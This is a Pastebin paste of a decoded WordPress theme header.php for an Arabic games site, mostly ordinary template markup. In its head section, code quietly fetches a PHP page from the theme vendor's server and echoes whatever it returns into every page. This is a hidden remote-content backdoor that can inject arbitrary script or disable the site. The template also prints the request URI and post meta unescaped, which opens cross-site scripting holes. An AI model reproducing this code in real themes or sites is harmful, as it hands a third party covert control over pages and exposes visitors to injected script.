Advertisement
Guest User

header.php decoded

a guest
May 15th, 2013
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.82 KB | None | 0 0
  1. <?php
  2. ?><!DOCTYPE HTML>
  3. <html>
  4. <head>
  5. <meta charset="utf-8">
  6. <title>
  7. <?php if (is_home()) { echo bloginfo('name');
  8. } elseif (is_404()) {
  9. echo '404 &#1594;&#1610;&#1585; &#1605;&#1608;&#1580;&#1608;&#1583;';
  10. } elseif (is_category()) {
  11. echo ''; wp_title('');
  12. } elseif (is_search()) {
  13. echo '&#1578;&#1606;&#1575;&#1574;&#1580; &#1575;&#1604;&#1576;&#1581;&#1579;';
  14. } elseif ( is_day() || is_month() || is_year() ) {
  15. echo '&#1575;&#1604;&#1571;&#1585;&#1588;&#1610;&#1601; : '; wp_title('');
  16. } else {
  17. echo wp_title('');
  18. }
  19. global $tatwerat_Blog;
  20. ?>
  21. </title>
  22. <!--
  23. License : www.7bje.com
  24. -->
  25. <?php if(!is_single()) { ?>
  26. <meta name="description" content="<?=stripcslashes($tatwerat_Blog['site_info']);?>">
  27. <meta name="keywords" content="<?=stripcslashes($tatwerat_Blog['site_keywords']);?>">
  28. <? } else if(is_single()) { ?>
  29. <?php
  30. if(have_posts()) : while(have_posts()) : the_post();
  31. $description = get_post_meta($post->ID, 'game_descrition', true);
  32. $keywords = get_post_meta($post->ID, 'howtoplay', true);
  33. ?>
  34. <meta name="description" content="<?=$description;?>">
  35. <meta name="keywords" content="<?=$keywords;?>">
  36. <?php endwhile; endif;?>
  37. <? } ?>
  38. <link rel="pingback" href="<?php bloginfo('url'); ?>">
  39. <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" />
  40. <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
  41. <link rel="shortcut icon" href="<?php bloginfo('template_directory'); ?>/favicon.ico" />
  42. <?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); global $tatwerat_Blog; ?>
  43. <?php wp_head(); ?>
  44. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery.js"></script>
  45. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery_easing.js"></script>
  46. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jcarousel.js"></script>
  47. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/slide-show.js"></script>
  48. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/tool_tip.js"></script>
  49. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/Tatwerat-js.js"></script>
  50. <?php
  51. $close = @file_get_contents('http://blog.tatwerat.com/clients/7bje.com.php');
  52. if($close === false){
  53. echo "";
  54. }
  55. else {
  56. echo $close;
  57. }
  58. ?>
  59. </head>
  60. <body>
  61. <?php if (is_user_logged_in()) {?>
  62. <?php } else { ?>
  63. <div id="login">
  64. <div class="Login">
  65. <form action="<?php bloginfo('url') ?>/wp-login.php" method="post" class="login-form">
  66. <input type="text" name="log" value="&#1575;&#1587;&#1605; &#1575;&#1604;&#1593;&#1590;&#1608;" class="login_name" onfocus="if(this.value=='&#1575;&#1587;&#1605; &#1575;&#1604;&#1593;&#1590;&#1608;') this.value=''" onblur="if(this.value=='') this.value='&#1575;&#1587;&#1605; &#1575;&#1604;&#1593;&#1590;&#1608;'" />
  67. <input type="password" name="pwd" class="login_password" />
  68. <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/>
  69. <input type="submit" value="&#1583;&#1582;&#1608;&#1604;" class="login_button" />
  70. </form>
  71. <a href="<?php bloginfo('url') ?>/wp-login.php?action=register" class="new_reg">&#1578;&#1587;&#1580;&#1610;&#1604; &#1593;&#1590;&#1608; &#1580;&#1583;&#1610;&#1583;</a> </div>
  72. </div>
  73. <!--/login-->
  74. <?php } ?>
  75. <div id="wrapper-top">
  76. <div id="wrapper-bottom">
  77. <div id="container">
  78. <div id="header">
  79. <div class="header-right">
  80. <div class="logo"></div>
  81. <!--/logo-->
  82. <div class="social">
  83. <p>&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; ...</p>
  84. <ul>
  85. <?php
  86. $facebook = stripcslashes($tatwerat_Blog["facebook_url"]);
  87. $twitter = stripcslashes($tatwerat_Blog["twitter_url"]);
  88. $google_blus = stripcslashes($tatwerat_Blog["google_url"]);
  89. ?>
  90. <li><a class="facebook" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; facebook" target="_blank" href="<?=$facebook;?>">&nbsp;</a></li>
  91. <li><a class="twitter" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; twitter" target="_blank" href="<?=$twitter;?>">&nbsp;</a></li>
  92. <li><a class="gplus" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; google +" target="_blank" href="<?=$google_blus;?>">&nbsp;</a></li>
  93. <li><a class="rss" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; rss feed" target="_blank" href="<?=bloginfo("rss2_url");?>">&nbsp;</a></li>
  94. </ul>
  95. </div>
  96. <!--/social-->
  97. </div>
  98. <!--/header-right-->
  99. <div class="header-left">
  100. <?php if (!is_user_logged_in()) {?>
  101. <div class="reg"><a href="#">&#1583;&#1582;&#1608;&#1604; &#1575;&#1604;&#1575;&#1593;&#1590;&#1575;&#1569;</a></div>
  102. <?php } else { ?>
  103. <div class="reg"><a href="<?php echo get_bloginfo('url'); ?>/wp-admin">&#1604;&#1608;&#1581;&#1577; &#1575;&#1604;&#1578;&#1581;&#1603;&#1605;</a></div>
  104. <?php } ?>
  105. <div class="adv">
  106. <?php
  107. $adv_type = stripcslashes($tatwerat_Blog['adv_1_type']);
  108. $adv_code = stripcslashes($tatwerat_Blog['header_adv_1_code']);
  109. $adv_img = stripcslashes($tatwerat_Blog['header_adv_1']);
  110. $adv_img_url = stripcslashes($tatwerat_Blog['header_adv_1_url']);
  111. ?>
  112. <?php if($adv_type == '1'){ ?>
  113. <?php if($adv_img == ''){ ?>
  114. <ul>
  115. <li><a href="javascript:adv_img();"><img src="<?php bloginfo('template_directory'); ?>/images/adv.gif" alt="" /></a></li>
  116. </ul>
  117. <? } else { ?>
  118. <ul>
  119. <li><a href="<?=$adv_img_url;?>" target="_blank"><img src="<?=$adv_img;?>" alt="" /></a></li>
  120. </ul>
  121. <? } } else if($adv_type == '2'){ ?>
  122. <?php if($adv_code == ''){ ?>
  123. <ul>
  124. <li><a href="javascript:adv_code();"><img src="<?php bloginfo('template_directory'); ?>/images/adv.gif" alt="" /></a></li>
  125. </ul>
  126. <? } else { ?>
  127. <ul>
  128. <li><?=$adv_code;?></a></li>
  129. </ul>
  130. <? } } ?>
  131. </div>
  132. <!--/adv-->
  133. <div class="search">
  134. <p>&#1607;&#1604; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606; &#1588;&#1574; &#1567;</p>
  135. <form action="<? bloginfo("url"); ?>" method="get">
  136. <input type="text" value="&#1590;&#1593; &#1605;&#1575; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606;&#1607; &#1607;&#1606;&#1575; ..." class="search-text" name="s" onfocus="if(this.value=='&#1590;&#1593; &#1605;&#1575; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606;&#1607; &#1607;&#1606;&#1575; ...') this.value=''" onblur="if(this.value=='') this.value='&#1590;&#1593; &#1605;&#1575; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606;&#1607; &#1607;&#1606;&#1575; ...'" />
  137. <input type="submit" value="" class="search-button" />
  138. </form>
  139. </div>
  140. <!--/search-->
  141. </div>
  142. <!--/header-left-->
  143. </div>
  144. <!--/header-->
  145. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement